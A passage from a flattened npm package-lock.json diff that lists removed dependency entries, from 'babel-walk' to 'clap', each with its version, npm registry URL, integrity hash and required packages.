"sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" - } - } - }, - "babel-walk": { - "version": "3.0.0-canary-5", - "resolved": "https://registry.npmjs.org/babel-walk/-/babel-walk-3.0.0-canary-5.tgz", - "integrity": "sha512-GAwkz0AihzY5bkwIY5QDR+LvsRQgB/B+1foMPvi0FZPMl5fjD7ICiznUiBdLYMH1QYe6vqu4gWYytZOccLouFw==", - "dev": true, - "requires": { - "@babel/types": "^7.9.6" - } - }, - "babylon": { - "version": "6.18.0", - "resolved": "https://registry.npmjs.org/babylon/-/babylon-6.18.0.tgz", - "integrity": "sha1-ry87iPpvXB5MY00aD46sT1WzleM=" - }, - "balanced-match": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", - "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", - "dev": true - }, - "base": { - "version": "0.11.2", - "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", - "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", - "dev": true, - "requires": { - "cache-base": "^1.0.1", - "class-utils": "^0.3.5", - "component-emitter": "^1.2.1", - "define-property": "^1.0.0", - "isobject": "^3.0.1", - "mixin-deep": "^1.2.0", - "pascalcase": "^0.1.1" - }, - "dependencies": { - "define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "requires": { - "is-descriptor": "^1.0.0" - } - }, - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - }, - "kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true - } - } - }, - "base64-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.2.1.tgz", - "integrity": "sha1-qRlH2h9KUW6jjltOwOw3c2deCIY=" - }, - "bcrypt-pbkdf": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", - "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", - "dev": true, - "optional": true, - "requires": { - "tweetnacl": "^0.14.3" - } - }, - "becke-ch--regex--s0-0-v1--base--pl--lib": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/becke-ch--regex--s0-0-v1--base--pl--lib/-/becke-ch--regex--s0-0-v1--base--pl--lib-1.4.0.tgz", - "integrity": "sha1-Qpzuu/pffpNueNc/vcfacWKyDiA=", - "dev": true - }, - "big.js": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/big.js/-/big.js-3.2.0.tgz", - "integrity": "sha512-+hN/Zh2D08Mx65pZ/4g5bsmNiZUuChDiQfTUQ7qJr4/kuopCr88xZsAXv6mBoZEsUI4OuGHlX59qE94K2mMW8Q==", - "dev": true - }, - "binary-extensions": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.8.0.tgz", - "integrity": "sha1-SOyNFt9Dd+rl+liEaCSAr02Vx3Q=", - "dev": true - }, - "bindings": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", - "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", - "dev": true, - "optional": true, - "requires": { - "file-uri-to-path": "1.0.0" - } - }, - "bl": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.1.tgz", - "integrity": "sha1-ysMo977kVzDUBLaSID/LWQ4XLV4=", - "dev": true, - "requires": { - "readable-stream": "^2.0.5" - } - }, - "block-stream": { - "version": "0.0.9", - "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz", - "integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=", - "dev": true, - "requires": { - "inherits": "~2.0.0" - } - }, - "bluebird": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz", - "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA==", - "dev": true - }, - "bn.js": { - "version": "4.11.7", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.7.tgz", - "integrity": "sha512-LxFiV5mefv0ley0SzqkOPR1bC4EbpPx8LkOz5vMe/Yi15t5hzwgO/G+tc7wOtL4PZTYjwHu8JnEiSLumuSjSfA==", - "dev": true - }, - "bo-selector": { - "version": "0.0.10", - "resolved": "https://registry.npmjs.org/bo-selector/-/bo-selector-0.0.10.tgz", - "integrity": "sha1-mBbcsArfN06oeUGoY7Ks/AJq+j4=", - "dev": true - }, - "body": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/body/-/body-5.1.0.tgz", - "integrity": "sha1-5LoM5BCkaTYyM2dgnstOZVMSUGk=", - "dev": true, - "requires": { - "continuable-cache": "^0.3.1", - "error": "^7.0.0", - "raw-body": "~1.1.0", - "safe-json-parse": "~1.0.1" - } - }, - "boolbase": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", - "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", - "dev": true - }, - "brace-expansion": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.8.tgz", - "integrity": "sha1-wHshHHyVLsH479Uad+8NHTmQopI=", - "dev": true, - "requires": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "braces": { - "version": "1.8.5", - "resolved": "https://registry.npmjs.org/braces/-/braces-1.8.5.tgz", - "integrity": "sha1-uneWLhLf+WnWt2cR6RS3N4V79qc=", - "dev": true, - "requires": { - "expand-range": "^1.8.1", - "preserve": "^0.2.0", - "repeat-element": "^1.1.2" - } - }, - "brorand": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz", - "integrity": "sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=", - "dev": true - }, - "browser-pack": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/browser-pack/-/browser-pack-6.1.0.tgz", - "integrity": "sha512-erYug8XoqzU3IfcU8fUgyHqyOXqIE4tUTTQ+7mqUjQlvnXkOO6OlT9c/ZoJVHYoAaqGxr09CN53G7XIsO4KtWA==", - "dev": true, - "requires": { - "combine-source-map": "~0.8.0", - "defined": "^1.0.0", - "JSONStream": "^1.0.3", - "safe-buffer": "^5.1.1", - "through2": "^2.0.0", - "umd": "^3.0.0" - } - }, - "browser-resolve": { - "version": "1.11.3", - "resolved": "https://registry.npmjs.org/browser-resolve/-/browser-resolve-1.11.3.tgz", - "integrity": "sha512-exDi1BYWB/6raKHmDTCicQfTkqwN5fioMFV4j8BsfMU4R2DK/QfZfK7kOVkmWCNANf0snkBzqGqAJBao9gZMdQ==", - "dev": true, - "requires": { - "resolve": "1.1.7" - }, - "dependencies": { - "resolve": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz", - "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=", - "dev": true - } - } - }, - "browser-stdout": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.0.tgz", - "integrity": "sha1-81HTKWnTL6XXpVZxVCY9korjvR8=", - "dev": true - }, - "browserify": { - "version": "16.2.2", - "resolved": "https://registry.npmjs.org/browserify/-/browserify-16.2.2.tgz", - "integrity": "sha512-fMES05wq1Oukts6ksGUU2TMVHHp06LyQt0SIwbXIHm7waSrQmNBZePsU0iM/4f94zbvb/wHma+D1YrdzWYnF/A==", - "dev": true, - "requires": { - "assert": "^1.4.0", - "browser-pack": "^6.0.1", - "browser-resolve": "^1.11.0", - "browserify-zlib": "~0.2.0", - "buffer": "^5.0.2", - "cached-path-relative": "^1.0.0", - "concat-stream": "^1.6.0", - "console-browserify": "^1.1.0", - "constants-browserify": "~1.0.0", - "crypto-browserify": "^3.0.0", - "defined": "^1.0.0", - "deps-sort": "^2.0.0", - "domain-browser": "^1.2.0", - "duplexer2": "~0.1.2", - "events": "^2.0.0", - "glob": "^7.1.0", - "has": "^1.0.0", - "htmlescape": "^1.1.0", - "https-browserify": "^1.0.0", - "inherits": "~2.0.1", - "insert-module-globals": "^7.0.0", - "JSONStream": "^1.0.3", - "labeled-stream-splicer": "^2.0.0", - "mkdirp": "^0.5.0", - "module-deps": "^6.0.0", - "os-browserify": "~0.3.0", - "parents": "^1.0.1", - "path-browserify": "~0.0.0", - "process": "~0.11.0", - "punycode": "^1.3.2", - "querystring-es3": "~0.2.0", - "read-only-stream": "^2.0.0", - "readable-stream": "^2.0.2", - "resolve": "^1.1.4", - "shasum": "^1.0.0", - "shell-quote": "^1.6.1", - "stream-browserify": "^2.0.0", - "stream-http": "^2.0.0", - "string_decoder": "^1.1.1", - "subarg": "^1.0.0", - "syntax-error": "^1.1.1", - "through2": "^2.0.0", - "timers-browserify": "^1.0.1", - "tty-browserify": "0.0.1", - "url": "~0.11.0", - "util": "~0.10.1", - "vm-browserify": "^1.0.0", - "xtend": "^4.0.0" - }, - "dependencies": { - "buffer": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.1.0.tgz", - "integrity": "sha512-YkIRgwsZwJWTnyQrsBTWefizHh+8GYj3kbL1BTiAQ/9pwpino0G7B2gp5tx/FUBqUlvtxV85KNR3mwfAtv15Yw==", - "dev": true, - "requires": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4" - } - }, - "concat-stream": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", - "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", - "dev": true, - "requires": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" - } - }, - "domain-browser": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-1.2.0.tgz", - "integrity": "sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==", - "dev": true - }, - "events": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/events/-/events-2.1.0.tgz", - "integrity": "sha512-3Zmiobend8P9DjmKAty0Era4jV8oJ0yGYe2nJJAxgymF9+N8F2m0hhZiMoWtcfepExzNKZumFU3ksdQbInGWCg==", - "dev": true - }, - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - }, - "tty-browserify": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.1.tgz", - "integrity": "sha512-C3TaO7K81YvjCgQH9Q1S3R3P3BtN3RIM8n+OvX4il1K1zgE8ZhI0op7kClgkxtutIE8hQrcrHBXvIheqKUUCxw==", - "dev": true - }, - "vm-browserify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.0.tgz", - "integrity": "sha512-iq+S7vZJE60yejDYM0ek6zg308+UZsdtPExWP9VZoCFCz1zkJoXFnAX7aZfd/ZwrkidzdUZL0C/ryW+JwAiIGw==", - "dev": true - } - } - }, - "browserify-aes": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.0.6.tgz", - "integrity": "sha1-Xncl297x/Vkw1OurSFZ85FHEigo=", - "dev": true, - "requires": { - "buffer-xor": "^1.0.2", - "cipher-base": "^1.0.0", - "create-hash": "^1.1.0", - "evp_bytestokey": "^1.0.0", - "inherits": "^2.0.1" - } - }, - "browserify-cache-api": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/browserify-cache-api/-/browserify-cache-api-3.0.1.tgz", - "integrity": "sha1-liR+hT8Gj9bg1FzHPwuyzZd47wI=", - "dev": true, - "requires": { - "async": "^1.5.2", - "through2": "^2.0.0", - "xtend": "^4.0.0" - } - }, - "browserify-cipher": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/browserify-cipher/-/browserify-cipher-1.0.0.tgz", - "integrity": "sha1-mYgkSHS/XtTijalWZtzWasj8Njo=", - "dev": true, - "requires": { - "browserify-aes": "^1.0.4", - "browserify-des": "^1.0.0", - "evp_bytestokey": "^1.0.0" - } - }, - "browserify-des": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/browserify-des/-/browserify-des-1.0.0.tgz", - "integrity": "sha1-2qJ3cXRwki7S/hhZQRihdUOXId0=", - "dev": true, - "requires": { - "cipher-base": "^1.0.1", - "des.js": "^1.0.0", - "inherits": "^2.0.1" - } - }, - "browserify-incremental": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/browserify-incremental/-/browserify-incremental-3.1.1.tgz", - "integrity": "sha1-BxPLdYckemMqnwjPG9FpuHi2Koo=", - "dev": true, - "requires": { - "browserify-cache-api": "^3.0.0", - "JSONStream": "^0.10.0", - "through2": "^2.0.0", - "xtend": "^4.0.0" - }, - "dependencies": { - "jsonparse": { - "version": "0.0.5", - "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-0.0.5.tgz", - "integrity": "sha1-MwVCrT8KZUZlt3jz6y2an6UHrGQ=", - "dev": true - }, - "JSONStream": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-0.10.0.tgz", - "integrity": "sha1-dDSdDYlSK3HzDwoD/5vSDKbxKsA=", - "dev": true, - "requires": { - "jsonparse": "0.0.5", - "through": ">=2.2.7 <3" - } - } - } - }, - "browserify-rsa": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz", - "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=", - "dev": true, - "requires": { - "bn.js": "^4.1.0", - "randombytes": "^2.0.1" - } - }, - "browserify-sign": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.0.4.tgz", - "integrity": "sha1-qk62jl17ZYuqa/alfmMMvXqT0pg=", - "dev": true, - "requires": { - "bn.js": "^4.1.1", - "browserify-rsa": "^4.0.0", - "create-hash": "^1.1.0", - "create-hmac": "^1.1.2", - "elliptic": "^6.0.0", - "inherits": "^2.0.1", - "parse-asn1": "^5.0.0" - } - }, - "browserify-zlib": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz", - "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", - "dev": true, - "requires": { - "pako": "~1.0.5" - } - }, - "browserslist": { - "version": "3.2.8", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-3.2.8.tgz", - "integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==", - "dev": true, - "requires": { - "caniuse-lite": "^1.0.30000844", - "electron-to-chromium": "^1.3.47" - } - }, - "buffer": { - "version": "4.9.1", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz", - "integrity": "sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=", - "dev": true, - "requires": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4", - "isarray": "^1.0.0" - } - }, - "buffer-crc32": { - "version": "0.2.13", - "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", - "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", - "dev": true - }, - "buffer-from": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.0.tgz", - "integrity": "sha512-c5mRlguI/Pe2dSZmpER62rSCu0ryKmWddzRYsuXc50U2/g8jMOulc31VZMa4mYx31U5xsmSOpDCgH88Vl9cDGQ==", - "dev": true - }, - "buffer-xor": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz", - "integrity": "sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=", - "dev": true - }, - "builtin-modules": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz", - "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=", - "dev": true - }, - "builtin-status-codes": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz", - "integrity": "sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=", - "dev": true - }, - "bytes": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-1.0.0.tgz", - "integrity": "sha1-NWnt6Lo0MV+rmcPpLLBMciDeH6g=", - "dev": true - }, - "cacache": { - "version": "10.0.4", - "resolved": "https://registry.npmjs.org/cacache/-/cacache-10.0.4.tgz", - "integrity": "sha512-Dph0MzuH+rTQzGPNT9fAnrPmMmjKfST6trxJeK7NQuHRaVw24VzPRWTmg9MpcwOVQZO0E1FBICUlFeNaKPIfHA==", - "dev": true, - "requires": { - "bluebird": "^3.5.1", - "chownr": "^1.0.1", - "glob": "^7.1.2", - "graceful-fs": "^4.1.11", - "lru-cache": "^4.1.1", - "mississippi": "^2.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.2", - "ssri": "^5.2.4", - "unique-filename": "^1.1.0", - "y18n": "^4.0.0" - }, - "dependencies": { - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "y18n": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", - "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", - "dev": true - } - } - }, - "cache-base": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", - "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", - "dev": true, - "requires": { - "collection-visit": "^1.0.0", - "component-emitter": "^1.2.1", - "get-value": "^2.0.6", - "has-value": "^1.0.0", - "isobject": "^3.0.1", - "set-value": "^2.0.0", - "to-object-path": "^0.3.0", - "union-value": "^1.0.0", - "unset-value": "^1.0.0" - }, - "dependencies": { - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "cached-path-relative": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/cached-path-relative/-/cached-path-relative-1.0.1.tgz", - "integrity": "sha1-0JxLUoAKpMB44t2BqGmqyQ0uVOc=", - "dev": true - }, - "caller-path": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-0.1.0.tgz", - "integrity": "sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=", - "dev": true, - "requires": { - "callsites": "^0.2.0" - } - }, - "callsites": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/callsites/-/callsites-0.2.0.tgz", - "integrity": "sha1-r6uWJikQp/M8GaV3WCXGnzTjUMo=", - "dev": true - }, - "camelcase": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz", - "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=", - "dev": true - }, - "camelcase-keys": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-2.1.0.tgz", - "integrity": "sha1-MIvur/3ygRkFHvodkyITyRuPkuc=", - "dev": true, - "requires": { - "camelcase": "^2.0.0", - "map-obj": "^1.0.0" - } - }, - "caniuse-api": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-1.6.1.tgz", - "integrity": "sha1-tTTnxzTE+B7F++isoq0kNUuWLGw=", - "dev": true, - "requires": { - "browserslist": "^1.3.6", - "caniuse-db": "^1.0.30000529", - "lodash.memoize": "^4.1.2", - "lodash.uniq": "^4.5.0" - }, - "dependencies": { - "browserslist": { - "version": "1.7.7", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", - "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", - "dev": true, - "requires": { - "caniuse-db": "^1.0.30000639", - "electron-to-chromium": "^1.2.7" - } - }, - "lodash.memoize": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", - "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=", - "dev": true - } - } - }, - "caniuse-db": { - "version": "1.0.30000860", - "resolved": "https://registry.npmjs.org/caniuse-db/-/caniuse-db-1.0.30000860.tgz", - "integrity": "sha1-XOqyU6rhcrXwrNDVQoulAcSwjUE=", - "dev": true - }, - "caniuse-lite": { - "version": "1.0.30000860", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30000860.tgz", - "integrity": "sha512-6HCqcu+cCwWCY+WLL+rtAsAFt1ufvqMhA8dTfhMQhCJHYhJDhRRrh105DfjqRlTrDK3vvbEq8K0drNsJbymDtQ==", - "dev": true - }, - "caseless": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", - "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", - "dev": true - }, - "center-align": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/center-align/-/center-align-0.1.3.tgz", - "integrity": "sha1-qg0yYptu6XIgBBHL1EYckHvCt60=", - "dev": true, - "requires": { - "align-text": "^0.1.3", - "lazy-cache": "^1.0.3" - } - }, - "chalk": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", - "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "requires": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" - } - }, - "character-parser": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/character-parser/-/character-parser-2.2.0.tgz", - "integrity": "sha1-x84o821LzZdE5f/CxfzeHHMmH8A=", - "dev": true, - "requires": { - "is-regex": "^1.0.3" - } - }, - "chardet": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.4.2.tgz", - "integrity": "sha1-tUc7M9yXxCTl2Y3IfVXU2KKci/I=", - "dev": true - }, - "charenc": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz", - "integrity": "sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc=", - "dev": true - }, - "chart.js": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/chart.js/-/chart.js-2.7.2.tgz", - "integrity": "sha512-90wl3V9xRZ8tnMvMlpcW+0Yg13BelsGS9P9t0ClaDxv/hdypHDr/YAGf+728m11P5ljwyB0ZHfPKCapZFqSqYA==", - "requires": { - "chartjs-color": "^2.1.0", - "moment": "^2.10.2" - } - }, - "chartjs-color": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/chartjs-color/-/chartjs-color-2.2.0.tgz", - "integrity": "sha1-hKL7dVeH7YXDndbdjHsdiEKbrq4=", - "requires": { - "chartjs-color-string": "^0.5.0", - "color-convert": "^0.5.3" - } - }, - "chartjs-color-string": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/chartjs-color-string/-/chartjs-color-string-0.5.0.tgz", - "integrity": "sha512-amWNvCOXlOUYxZVDSa0YOab5K/lmEhbFNKI55PWc4mlv28BDzA7zaoQTGxSBgJMHIW+hGX8YUrvw/FH4LyhwSQ==", - "requires": { - "color-name": "^1.0.0" - } - }, - "chokidar": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-1.7.0.tgz", - "integrity": "sha1-eY5ol3gVHIB2tLNg5e3SjNortGg=", - "dev": true, - "requires": { - "anymatch": "^1.3.0", - "async-each": "^1.0.0", - "fsevents": "^1.0.0", - "glob-parent": "^2.0.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^2.0.0", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0" - } - }, - "chownr": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.0.1.tgz", - "integrity": "sha1-4qdQQqlVGQi+vSW4Uj1fl2nXkYE=", - "dev": true - }, - "chrome-trace-event": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz", - "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==", - "dev": true, - "requires": { - "tslib": "^1.9.0" - } - }, - "cipher-base": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.3.tgz", - "integrity": "sha1-7qvxlEGc6QDaMBjCB9IS8qbfCgc=", - "dev": true, - "requires": { - "inherits": "^2.0.1" - } - }, - "circular-json": { - "version": "0.3.3", - "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.3.3.tgz", - "integrity": "sha1-gVyZ6oT2gJUp0vRXkb34JxE1LWY=", - "dev": true - }, - "clap": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/clap/-/clap-1.2.3.tgz", - "integrity": 